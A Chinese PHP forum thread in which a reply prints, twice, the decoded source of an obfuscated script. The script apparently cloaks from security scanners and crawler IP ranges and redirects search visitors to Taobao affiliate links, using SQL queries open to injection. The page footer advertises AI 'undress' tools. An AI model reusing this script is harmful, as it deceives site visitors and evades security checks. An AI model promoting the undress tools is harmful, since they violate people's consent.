碰到一段PHP的加密,实在不知道怎么解密了求大神
有BASE64和一些乱码符号,真心不知道怎么来解密了 求高手。
因为有特殊字符论坛发不上来,就发网盘地址了。
http://pan.baidu.com/share/link?shareid=3556194294&uk=2869471014
回复讨论(解决方案)
里面存在相关的加密和版权验证,不过不再最终的加密里面;整个加密流程大概反复进行了5次以上<?php/* * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))||@die(); //15aabc79d4499e36ea28690d6959b37c */error_reporting ( 0 );defined ( 'FFCAEDAABEBFAB' ) || exit ( 'Access Denied' );include ('TopSdk.php');include ('mysql.php');include ('config.php');session_start ();$host = $_SERVER ["HTTP_HOST"];$scanv = "";if (isset ( $_SESSION ['url'] )) { $url = $_SESSION ['url']; $keyword = get_keyword ( $url, $keywords ); $arr = parse_url ( $url ); $arr_query = convertUrlQuery ( $arr ['query'] ); $usergent = $_SERVER ['HTTP_USER_AGENT']; $client_ip = $_SERVER ["REMOTE_ADDR"]; $loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) ); if (strpos ( $client_ip, '61.135' ) !== false || strpos ( $client_ip, '173.194' ) !== false || strpos ( $client_ip, '203.208' ) !== false || strpos ( $client_ip, '74.125' ) !== false || strpos ( $client_ip, '123.125' ) !== false || strpos ( $client_ip, '220.181' ) !== false) { $scanv = "检测到scanv IP"; } else if (strpos ( $keyword, 'dasoji' ) !== false) { $scanv = "检测到域名"; } else if ($keyword == false) { $scanv = "关键词不能为空"; } else if (strpos ( $loc, '谷歌' ) !== false) { $scanv = "检测到谷歌IP"; } else if (strpos ( $loc, '北京' ) !== false) { $scanv = "检测到北京IP"; } else if (count ( $arr_query ) < 2) { $scanv = "可能是scanv"; } else { $key = get_key ( $keyword ); $click_url = get_key_url ( $key ); if (! isset ( $click_url )) { $click_url = search_click ( $key )->taobaoke_item->click_url; } if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { $scanv = "无有效跳转"; $click_url = get_shops_url ( $key ); if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { echo "var jump_url='';"; echo "window.location.href=jump_url;"; } } } $fp = fopen ( "baiduspider.html", 'a' ); fwrite ( $fp, "<tr><td>" . date ( 'Y-m-d H:i:s', time () ) . "</td><td> " . $_SERVER ["REMOTE_ADDR"] . '</td><td>' . $keyword . '</td><td>' . $scanv . '</td><td>' . $_SERVER ['HTTP_USER_AGENT'] . '</td><td><a href=' . $url . '>' . $url . '</a></td></tr>' ); fclose ( $fp ); ;}function get_key_url($key) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from keyword where `key`='" . $key . "'"; $result = $db->get ( $sql ); return $result->url;}function get_key($keyword) { global $db_conn; $db = new Mysql ( $db_conn ); $result = $db->find ( "select `id`,`key` from keyword order by `key` desc" ); for($i = 0; $i < count ( $result ); $i ++) { if (stripos ( $keyword, trim ( $result [$i]->key ) ) !== false) { return $result [$i]->key; } } return $keyword;}function convertUrlQuery($query) { $queryParts = explode ( '&', $query ); $params = array (); foreach ( $queryParts as $param ) { $item = explode ( '=', $param ); $params [$item [0]] = $item [1]; } return $params;}function get_keyword($url, &$keywords) { $regex = "/(?:soso.+?w=|so.+?q=|360.+?q=|huihui.+?q=|baidu.+?wd=|baidu.+?kw=|baidu.+?word=|google.+?q=|sogou.+?query=|bing.+?q=|yahoo.+?[\?|&]p=|lycos.+?query=|onseek.+?keyword=|search\.tom.+?word=|search\.qq\.com.+?word=|zhongsou\.com.+?word=|search\.msn\.com.+?q=|yisou\.com.+?p=|sina.+?word=|sina.+?query=|sina.+?_searchkey=|sohu.+?word=|sohu.+?key_word=|sohu.+?query=|163.+?q=|Alltheweb.+?q=|115.+?q=|youdao.+?q=|bing.+?q=|114.+?kw=)([^&]*)/"; $matches = array (); if (preg_match ( $regex . 'i', $url, $matches )) { $keywords = urldecode ( $matches [1] ) . " "; $keywords = mb_convert_encoding ( $keywords, "UTF-8", "UTF-8,GB2312,GBK" ); return $keywords; } return false;}function get_shops_url($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeShopsGetRequest (); $req->setFields ( "click_url,shop_title" ); $req->setPid ( $pid ); $req->setOnlyMall ( "true" ); $req->setKeyword ( $key ); $resp = $c->execute ( $req ); return $resp->taobaoke_shops->taobaoke_shop->click_url;}function search_click($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeItemsGetRequest (); $req->setFields ( "click_url" ); $req->setPid ( $pid ); $req->setKeyword ( $key ); $req->setPageNo ( 1 ); $req->setPageSize ( 1 ); $req->setSort ( "commissionNum_desc" ); $resp = $c->execute ( $req ); $items = $resp->taobaoke_items; return $items;}function get_apidata($id) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from apidata where `id`='" . $id . "'"; $result = $db->get ( $sql ); return $result->data;}function set_apidata($id, $data) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "insert into apidata(`id`,`data`) values ('$id','$data')"; $db->query ( $sql );}function convertip($ip) { $dat_path = 'qqwry.dat'; if (! preg_match ( "/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/", $ip )) { } if (! $fd = @fopen ( $dat_path, 'rb' )) { return 'IP date file not exists or access denied'; } $ip = explode ( '.', $ip ); $ipNum = $ip [0] * 16777216 + $ip [1] * 65536 + $ip [2] * 256 + $ip [3]; $DataBegin = fread ( $fd, 4 ); $DataEnd = fread ( $fd, 4 ); $ipbegin = implode ( '', unpack ( 'L', $DataBegin ) ); if ($ipbegin < 0) $ipbegin += pow ( 2, 32 ); $ipend = implode ( '', unpack ( 'L', $DataEnd ) ); if ($ipend < 0) $ipend += pow ( 2, 32 ); $ipAllNum = ($ipend - $ipbegin) / 7 + 1; $BeginNum = 0; $EndNum = $ipAllNum; while ( $ip1num > $ipNum || $ip2num < $ipNum ) { $Middle = intval ( ($EndNum + $BeginNum) / 2 ); fseek ( $fd, $ipbegin + 7 * $Middle ); $ipData1 = fread ( $fd, 4 ); if (strlen ( $ipData1 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip1num = implode ( '', unpack ( 'L', $ipData1 ) ); if ($ip1num < 0) $ip1num += pow ( 2, 32 ); if ($ip1num > $ipNum) { $EndNum = $Middle; continue; } $DataSeek = fread ( $fd, 3 ); if (strlen ( $DataSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $DataSeek = implode ( '', unpack ( 'L', $DataSeek . chr ( 0 ) ) ); fseek ( $fd, $DataSeek ); $ipData2 = fread ( $fd, 4 ); if (strlen ( $ipData2 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip2num = implode ( '', unpack ( 'L', $ipData2 ) ); if ($ip2num < 0) $ip2num += pow ( 2, 32 ); if ($ip2num < $ipNum) { if ($Middle == $BeginNum) { fclose ( $fd ); return 'Unknown'; } $BeginNum = $Middle; } } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 1 )) { $ipSeek = fread ( $fd, 3 ); if (strlen ( $ipSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipSeek = implode ( '', unpack ( 'L', $ipSeek . chr ( 0 ) ) ); fseek ( $fd, $ipSeek ); $ipFlag = fread ( $fd, 1 ); } if ($ipFlag == chr ( 2 )) { $AddrSeek = fread ( $fd, 3 ); if (strlen ( $AddrSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr2 .= $char; $AddrSeek = implode ( '', unpack ( 'L', $AddrSeek . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; } else { fseek ( $fd, - 1, SEEK_CUR ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) { $ipAddr2 .= $char; } } fclose ( $fd ); if (preg_match ( '/http/i', $ipAddr2 )) { $ipAddr2 = ''; } $ipaddr = "$ipAddr1 $ipAddr2"; $ipaddr = preg_replace ( '/CZ88.Net/is', '', $ipaddr ); $ipaddr = preg_replace ( '/^s*/is', '', $ipaddr ); $ipaddr = preg_replace ( '/s*$/is', '', $ipaddr ); if (preg_match ( '/http/i', $ipaddr ) || $ipaddr == '') { $ipaddr = 'Unknown'; } return $ipaddr;}?>
里面存在相关的加密和版权验证,不过不再最终的加密里面;整个加密流程大概反复进行了5次以上<?php/* * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))||@die(); //15aabc79d4499e36ea28690d6959b37c */error_reporting ( 0 );defined ( 'FFCAEDAABEBFAB' ) || exit ( 'Access Denied' );include ('TopSdk.php');include ('mysql.php');include ('config.php');session_start ();$host = $_SERVER ["HTTP_HOST"];$scanv = "";if (isset ( $_SESSION ['url'] )) { $url = $_SESSION ['url']; $keyword = get_keyword ( $url, $keywords ); $arr = parse_url ( $url ); $arr_query = convertUrlQuery ( $arr ['query'] ); $usergent = $_SERVER ['HTTP_USER_AGENT']; $client_ip = $_SERVER ["REMOTE_ADDR"]; $loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) ); if (strpos ( $client_ip, '61.135' ) !== false || strpos ( $client_ip, '173.194' ) !== false || strpos ( $client_ip, '203.208' ) !== false || strpos ( $client_ip, '74.125' ) !== false || strpos ( $client_ip, '123.125' ) !== false || strpos ( $client_ip, '220.181' ) !== false) { $scanv = "检测到scanv IP"; } else if (strpos ( $keyword, 'dasoji' ) !== false) { $scanv = "检测到域名"; } else if ($keyword == false) { $scanv = "关键词不能为空"; } else if (strpos ( $loc, '谷歌' ) !== false) { $scanv = "检测到谷歌IP"; } else if (strpos ( $loc, '北京' ) !== false) { $scanv = "检测到北京IP"; } else if (count ( $arr_query ) < 2) { $scanv = "可能是scanv"; } else { $key = get_key ( $keyword ); $click_url = get_key_url ( $key ); if (! isset ( $click_url )) { $click_url = search_click ( $key )->taobaoke_item->click_url; } if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { $scanv = "无有效跳转"; $click_url = get_shops_url ( $key ); if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { echo "var jump_url='';"; echo "window.location.href=jump_url;"; } } } $fp = fopen ( "baiduspider.html", 'a' ); fwrite ( $fp, "<tr><td>" . date ( 'Y-m-d H:i:s', time () ) . "</td><td> " . $_SERVER ["REMOTE_ADDR"] . '</td><td>' . $keyword . '</td><td>' . $scanv . '</td><td>' . $_SERVER ['HTTP_USER_AGENT'] . '</td><td><a href=' . $url . '>' . $url . '</a></td></tr>' ); fclose ( $fp ); ;}function get_key_url($key) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from keyword where `key`='" . $key . "'"; $result = $db->get ( $sql ); return $result->url;}function get_key($keyword) { global $db_conn; $db = new Mysql ( $db_conn ); $result = $db->find ( "select `id`,`key` from keyword order by `key` desc" ); for($i = 0; $i < count ( $result ); $i ++) { if (stripos ( $keyword, trim ( $result [$i]->key ) ) !== false) { return $result [$i]->key; } } return $keyword;}function convertUrlQuery($query) { $queryParts = explode ( '&', $query ); $params = array (); foreach ( $queryParts as $param ) { $item = explode ( '=', $param ); $params [$item [0]] = $item [1]; } return $params;}function get_keyword($url, &$keywords) { $regex = "/(?:soso.+?w=|so.+?q=|360.+?q=|huihui.+?q=|baidu.+?wd=|baidu.+?kw=|baidu.+?word=|google.+?q=|sogou.+?query=|bing.+?q=|yahoo.+?[\?|&]p=|lycos.+?query=|onseek.+?keyword=|search\.tom.+?word=|search\.qq\.com.+?word=|zhongsou\.com.+?word=|search\.msn\.com.+?q=|yisou\.com.+?p=|sina.+?word=|sina.+?query=|sina.+?_searchkey=|sohu.+?word=|sohu.+?key_word=|sohu.+?query=|163.+?q=|Alltheweb.+?q=|115.+?q=|youdao.+?q=|bing.+?q=|114.+?kw=)([^&]*)/"; $matches = array (); if (preg_match ( $regex . 'i', $url, $matches )) { $keywords = urldecode ( $matches [1] ) . " "; $keywords = mb_convert_encoding ( $keywords, "UTF-8", "UTF-8,GB2312,GBK" ); return $keywords; } return false;}function get_shops_url($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeShopsGetRequest (); $req->setFields ( "click_url,shop_title" ); $req->setPid ( $pid ); $req->setOnlyMall ( "true" ); $req->setKeyword ( $key ); $resp = $c->execute ( $req ); return $resp->taobaoke_shops->taobaoke_shop->click_url;}function search_click($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeItemsGetRequest (); $req->setFields ( "click_url" ); $req->setPid ( $pid ); $req->setKeyword ( $key ); $req->setPageNo ( 1 ); $req->setPageSize ( 1 ); $req->setSort ( "commissionNum_desc" ); $resp = $c->execute ( $req ); $items = $resp->taobaoke_items; return $items;}function get_apidata($id) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from apidata where `id`='" . $id . "'"; $result = $db->get ( $sql ); return $result->data;}function set_apidata($id, $data) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "insert into apidata(`id`,`data`) values ('$id','$data')"; $db->query ( $sql );}function convertip($ip) { $dat_path = 'qqwry.dat'; if (! preg_match ( "/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/", $ip )) { } if (! $fd = @fopen ( $dat_path, 'rb' )) { return 'IP date file not exists or access denied'; } $ip = explode ( '.', $ip ); $ipNum = $ip [0] * 16777216 + $ip [1] * 65536 + $ip [2] * 256 + $ip [3]; $DataBegin = fread ( $fd, 4 ); $DataEnd = fread ( $fd, 4 ); $ipbegin = implode ( '', unpack ( 'L', $DataBegin ) ); if ($ipbegin < 0) $ipbegin += pow ( 2, 32 ); $ipend = implode ( '', unpack ( 'L', $DataEnd ) ); if ($ipend < 0) $ipend += pow ( 2, 32 ); $ipAllNum = ($ipend - $ipbegin) / 7 + 1; $BeginNum = 0; $EndNum = $ipAllNum; while ( $ip1num > $ipNum || $ip2num < $ipNum ) { $Middle = intval ( ($EndNum + $BeginNum) / 2 ); fseek ( $fd, $ipbegin + 7 * $Middle ); $ipData1 = fread ( $fd, 4 ); if (strlen ( $ipData1 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip1num = implode ( '', unpack ( 'L', $ipData1 ) ); if ($ip1num < 0) $ip1num += pow ( 2, 32 ); if ($ip1num > $ipNum) { $EndNum = $Middle; continue; } $DataSeek = fread ( $fd, 3 ); if (strlen ( $DataSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $DataSeek = implode ( '', unpack ( 'L', $DataSeek . chr ( 0 ) ) ); fseek ( $fd, $DataSeek ); $ipData2 = fread ( $fd, 4 ); if (strlen ( $ipData2 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip2num = implode ( '', unpack ( 'L', $ipData2 ) ); if ($ip2num < 0) $ip2num += pow ( 2, 32 ); if ($ip2num < $ipNum) { if ($Middle == $BeginNum) { fclose ( $fd ); return 'Unknown'; } $BeginNum = $Middle; } } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 1 )) { $ipSeek = fread ( $fd, 3 ); if (strlen ( $ipSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipSeek = implode ( '', unpack ( 'L', $ipSeek . chr ( 0 ) ) ); fseek ( $fd, $ipSeek ); $ipFlag = fread ( $fd, 1 ); } if ($ipFlag == chr ( 2 )) { $AddrSeek = fread ( $fd, 3 ); if (strlen ( $AddrSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr2 .= $char; $AddrSeek = implode ( '', unpack ( 'L', $AddrSeek . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; } else { fseek ( $fd, - 1, SEEK_CUR ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) { $ipAddr2 .= $char; } } fclose ( $fd ); if (preg_match ( '/http/i', $ipAddr2 )) { $ipAddr2 = ''; } $ipaddr = "$ipAddr1 $ipAddr2"; $ipaddr = preg_replace ( '/CZ88.Net/is', '', $ipaddr ); $ipaddr = preg_replace ( '/^s*/is', '', $ipaddr ); $ipaddr = preg_replace ( '/s*$/is', '', $ipaddr ); if (preg_match ( '/http/i', $ipaddr ) || $ipaddr == '') { $ipaddr = 'Unknown'; } return $ipaddr;}?>
有的加密是不可逆的,解不开!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



Alipay PHP...

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...
